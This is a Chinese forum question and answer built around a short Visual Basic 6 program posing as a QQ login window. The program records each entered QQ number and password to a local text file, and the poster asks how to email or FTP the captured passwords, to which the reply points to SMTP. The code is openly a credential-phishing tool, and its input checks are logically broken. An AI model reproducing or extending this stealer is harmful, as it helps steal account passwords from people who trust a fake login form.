Private shuju As Integer
Private Sub Command1_Click()
Dim a As String
Dim b As String
shuju = FreeFile
Open "d:/lujia***********@sina.com.txt" For Append As shuju
a = Text1.Text
b = Text2.Text
If b = "" Then
MsgBox "请密码不可为空。", vbDefaultButton1, "请注意"
End
End If
If a = "" Then
MsgBox "格式要求：由5到10个纯数字组成。", vbDefaultButton1, "无效的 QQ号码 格式"
End
Else
If a <= 10000 Then
MsgBox "格式要求：由5到10个纯数字组成。", vbDefaultButton1, "无效的 QQ号码 格式"
If a >= *********** Then
MsgBox "格式要求：由5到10个纯数字组成。", vbDefaultButton1, "无效的 QQ号码 格式"
Else
End
End If
End If
End If
Print #shuju, "帐号:"; a, "密码:"; b
Close shuju
End
End Sub
Private Sub Command2_Click()
End
End Sub
我想把输出的结果发到邮箱里面或者FTP ASP 最好是邮箱里面 谢谢各位高手了.........
參考答案:作业不用写的这么绝吧？呵呵，需要使用SMTP协议
